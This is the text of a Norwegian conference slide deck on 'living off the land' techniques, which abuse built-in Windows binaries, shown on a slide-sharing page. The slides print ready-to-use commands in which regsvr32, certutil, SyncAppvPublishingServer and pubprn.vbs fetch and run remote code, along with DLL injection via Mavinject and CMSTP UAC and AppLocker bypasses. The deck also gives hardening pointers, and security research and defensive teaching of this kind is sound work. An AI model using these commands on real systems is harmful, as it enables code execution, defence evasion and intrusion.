Windows binærfiler

O
Windows binærfiler
Et ekte eventyr i sårbarheter
Oddvar Moe
WHOAMI /ALL
• MVP 2 år
• Jobbet med IT siden 2000
• MCP 16 år gammel
• Dedikert med sikkerhet siste 5 år+
• Security Research - CVE-2017-8625
• Jobber @ Advania
@oddvarmoe https://no.linkedin.com/i
n/oddvarmoe
https://www.facebook.com/oddvarmoe
«Dropping» 0-day
• Lockscreen bypass
Angrepsteknikker ved bruk av Windows
•«Living off the land»
•Gjennomgang binærfiler
•Egen research
Håper du blir inspirert til egen research!
«Living off the land»
Før 2013 – Mest brukt av Advanced persistence threat
grupper
Mer og mer vanlig i malware
Bruke binær filer i Windows
Unngå AV
Eksekvere I minne
Se normal ut
Asdjksadkjek.exe vs mshta.exe
Old school
Binær på disk –
C:temphackertool.exe
Eksekvere hackertool.exe
fra disk
Pakker ut filer / hente flere
Moduler og hacker verktøy
lastet i minne
Living off the land
Eksekvere Windows binær
for å hente kode fra web
Kjøre rett i minne
Hvordan bruke Windows binærer
Angriper må første oppnå kode eksekvering
Bruke «skjult» funksjonalitet
Laste ned
Laste opp
Eksekvere
Kompilere
Laste inn DLL
EKSEMPLER PÅ
WINDOWS BINÆR
FILER
Dine følelser
når jeg viser
dette
Dine følelser
når jeg viser
dette
REGSVR32.exe
•Register and unregister
DLL files
REGSVR32.exe
•regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
•Proxy aware
Windows binærfiler
Gratulerer Oddvar – Du startet kalkulator!
• Kalkulator er ikke faren her
• Eksekvering av kode er
• Det finnes prosjekter….
• Kunne startet reverse shell eller andre onde ting
RUNDLL32.exe
•Eksekvere DLL
filer
RUNDLL32.exe
•rundll32.exe javascript:"..mshtml,RunHTMLApplication
";alert(‘HackCon%20Rules');
•Detaljer:
https://stackoverflow.com/questions/25131484/rundll32-
exe-javascript
Windows binærfiler
CERTUTIL.exe
•Brukes til
sertifikater
CERTUTIL.exe
• certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
• certutil.exe /decode base64kodetfil.txt evil.dll
Windows binærfiler
MSBUILD.exe
MSBUILD.exe
• Msbuild.exe MSBuildshell.cs -- PowerShell uten PowerShell!
Windows binærfiler
Winword.exe
• Word bruker vi til Office files.
(Mind blowing fact)
Winword.exe
•Winword.exe /ldllfile.dll
Mavinject32.exe
•Microsoft Application Virtualization Injector
•En del av App-V
SyncAppvPublishingServer.exe
•Brukes for å hente siste APP-V applikasjoner fra
server
SyncAppvPublishingServer.exe
•SyncAppvPublishingServer.exe "n;((New-Object
Net.WebClient).DownloadString('http://some.url/scr
ipt.ps1') | IEX
•Command injection vulnerability
Windows binærfiler
Mavinject32.exe
•Mavinject <PID> /INJECTRUNNING c:filesevil.dll
•*Muligens fikset i siste Windows 10 build…
Andre som er verdt å nevne
•Control.exe <path to dll>
•odbcconf -f file.rsp
•forfiles /p c:windowssystem32 /m notepad.exe /c
calc.exe
•InstallUtil.exe
•Regasm.exe / Regsvcs.exe
Ikke bare Windows binærer
Videre fremover – Next Gen
• PUBPRN.vbs – C:WindowsSystem32Printing_Admin_Scriptsen-US
pubprn.vbs 127.0.0.1
script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c66
2171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct
• CL_Invocation.ps1 - C:WindowsdiagnosticssystemAERO
. CL_Invocation.ps1 SyncInvoke C:tempevil.exe
• Slmgr.vbs / winrm.vbs – Requires registry changes
Windows binærfiler
Windows binærfiler
Men det var vel alle binær filer?
• https://github.com/api0cradle/UltimateAppLockerByPassList
• https://gist.github.com/api0cradle/8cdc53e2a80de079709d28a2d96458c2
• https://gist.github.com/trustedsec/686057a1b8cdf3e580c57b211b263abe
• https://github.com/redcanaryco/atomic-red-team/tree/master/Windows
• https://attack.mitre.org/wiki/Execution
Min research
(Ja, Security research av en
Nordmann)
CLIFFHANGER
Bginfo.exe
• Sysinternals tool
• Sette info på skrivebordet
Bginfo.exe
• Kan legge inn peker til script i bgi filen
• live.sysinternals.comtoolsbginfo.exe 10.10.10.10webdbg.bgi /popup
• bginfo.exe 10.10.10.10webdavbginfo.bgi /popup /nolicprompt
• Kjører fra Webdav
• Bginfo 4.21 og eldre = Device Guard / AppLocker bypass
Bginfo.exe
Windows binærfiler
Det stopper ikke der
• Fant ut senere
• Kan sende .BGI filer på epost
• Resulterte i en Defence In Depth patch til Office
Windows binærfiler
Detaljer dersom du er interessert
• BGI på mail: https://oddvar.moe/2017/09/13/defense-in-depth-writeup/
• Bypass Application whitelisting with BGInfo:
https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
https://oddvar.moe/2017/05/22/clarification-bginfo-4-22-applocker-still-
vulnerable/
CMSTP.exe
•Connection Manager Profile installer
•VPN oppsett Windows
•Interessant binær fil
CMSTP.exe
• Fant 1 UAC bypass - Cmstp.exe /au c:cmstpUACBypass.inf
• Fant mulighet for å laste DLL fra ekstern webdav server (AppLocker fun)
• cmstp.exe /ni /s c:cmstpCorpVPN.inf
Windows binærfiler
Windows binærfiler
Windows binærfiler
Windows binærfiler
Windows binærfiler
Detaljer dersom du er interessert
• CMSTP.exe Research - https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
• UACME: https://github.com/hfiref0x/UACME
• CMSTP SCT Loading -
https://twitter.com/NickTyrer/status/958450014111633408
HH.EXE
• Laste inn hjelpefiler i Windows
• Førte til en Device Guard bypass (CVE-2017-8625)
HH.EXE
HH.EXE
HH.EXE
HH.EXE
HH.EXE INTEGRITY
HH.EXE
• Custom CHM file
• https://gist.githubusercontent.com/api0cradle/95ae3c7120f16255d94088bd89
59f4b2/raw/fa25b85e85bbb64c5cf021adf92b125357086a6f/GenerateCHM_1.
0.ps1
HH.EXE
Windows binærfiler
Teamviewer AppLocker Bypass!
Beskyttelse mot slike angrep?
• AppLocker med herding (Eller Device Guard):
• https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
• https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
• https://oddvar.moe/2017/12/13/harden-windows-with-applocker-based-on-case-study-part-
1/
• https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-
2/
• https://github.com/api0cradle/UltimateAppLockerByPassList
• Teste verktøy:
• https://github.com/ALBY-Project/ALBY
• https://github.com/GreatSCT/GreatSCT
ALBY – Lære C# prosjektet mitt
•Ute i en tidlig preview
•La meg vise det jeg har
TUSEN TUSEN TUSEN TUSEN TUSEN TUSEN TUSEN TUSEN TUSEN
TAKK FOR MEG
• Slides will come:
https://Oddvar.moe
• Shout-outs:
Casey Smith - @subtee
@Cneelis
Nick Landers @monoxgas
Jimmy - @bohops
Adam - @Hexacorn
Matt Nelson - @enigma0x3
Matt Graeber - @mattifestation
Nick Tyrer - @NickTyrer
James Forshaw - @tiraniddo
+++++ Everyone else I forgot
1 of 66

Recommended

Hva avanserte hackere gjør for å få tilgang - Publisert.pptx by
Hva avanserte hackere gjør for å få tilgang - Publisert.pptxHva avanserte hackere gjør for å få tilgang - Publisert.pptx
Hva avanserte hackere gjør for å få tilgang - Publisert.pptxOddvar Moe
5 views49 slides
Red teaming and war stories by
Red teaming and war storiesRed teaming and war stories
Red teaming and war storiesOddvar Moe
64 views69 slides
Enkel og effektiv herding av windows by
Enkel og effektiv herding av windowsEnkel og effektiv herding av windows
Enkel og effektiv herding av windowsOddvar Moe
143 views23 slides
Phishing past mail protection controls using azure information by
Phishing past mail protection controls using azure informationPhishing past mail protection controls using azure information
Phishing past mail protection controls using azure informationOddvar Moe
233 views27 slides
App-o-Lockalypse now! by
App-o-Lockalypse now!App-o-Lockalypse now!
App-o-Lockalypse now!Oddvar Moe
811 views58 slides
#Lolbins - Nothing to LOL about! by
#Lolbins - Nothing to LOL about!#Lolbins - Nothing to LOL about!
#Lolbins - Nothing to LOL about!Oddvar Moe
986 views58 slides

More Related Content

Featured

ChatGPT and the Future of Work - Clark Boyd by
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
28K views69 slides
Getting into the tech field. what next by
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
6.6K views22 slides
Google's Just Not That Into You: Understanding Core Updates & Search Intent by
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
6.9K views99 slides
How to have difficult conversations by
How to have difficult conversations How to have difficult conversations
How to have difficult conversations Rajiv Jayarajah, MAppComm, ACC
5.6K views19 slides
Introduction to Data Science by
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data ScienceChristy Abraham Joy
82.6K views51 slides
Time Management & Productivity - Best Practices by
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
169.8K views42 slides

Featured(20)

ChatGPT and the Future of Work - Clark Boyd by Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
Clark Boyd28K views
Getting into the tech field. what next by Tessa Mero
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
Tessa Mero6.6K views
Google's Just Not That Into You: Understanding Core Updates & Search Intent by Lily Ray
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Lily Ray6.9K views
Time Management & Productivity - Best Practices by Vit Horky
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
Vit Horky169.8K views
The six step guide to practical project management by MindGenius
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
MindGenius36.7K views
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright... by RachelPearson36
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
RachelPearson3612.7K views
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present... by Applitools
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Applitools55.5K views
12 Ways to Increase Your Influence at Work by GetSmarter
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
GetSmarter401.7K views
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G... by DevGAMM Conference
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
DevGAMM Conference3.6K views
Barbie - Brand Strategy Presentation by Erica Santiago
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
Erica Santiago25.1K views
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well by Saba Software
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Saba Software25.3K views
Introduction to C Programming Language by Simplilearn
Introduction to C Programming LanguageIntroduction to C Programming Language
Introduction to C Programming Language
Simplilearn8.5K views
The Pixar Way: 37 Quotes on Developing and Maintaining a Creative Company (fr... by Palo Alto Software
The Pixar Way: 37 Quotes on Developing and Maintaining a Creative Company (fr...The Pixar Way: 37 Quotes on Developing and Maintaining a Creative Company (fr...
The Pixar Way: 37 Quotes on Developing and Maintaining a Creative Company (fr...
Palo Alto Software88.4K views
9 Tips for a Work-free Vacation by Weekdone.com
9 Tips for a Work-free Vacation9 Tips for a Work-free Vacation
9 Tips for a Work-free Vacation
Weekdone.com7.2K views
How to Map Your Future by SlideShop.com
How to Map Your FutureHow to Map Your Future
How to Map Your Future
SlideShop.com275.1K views

Windows binærfiler

Editor's Notes

  1. One example. Sometimes you put stuff on disk as well.
  2. https://youtu.be/Kb_NMuBlvrU
  3. https://youtu.be/jNU_wF_UkBI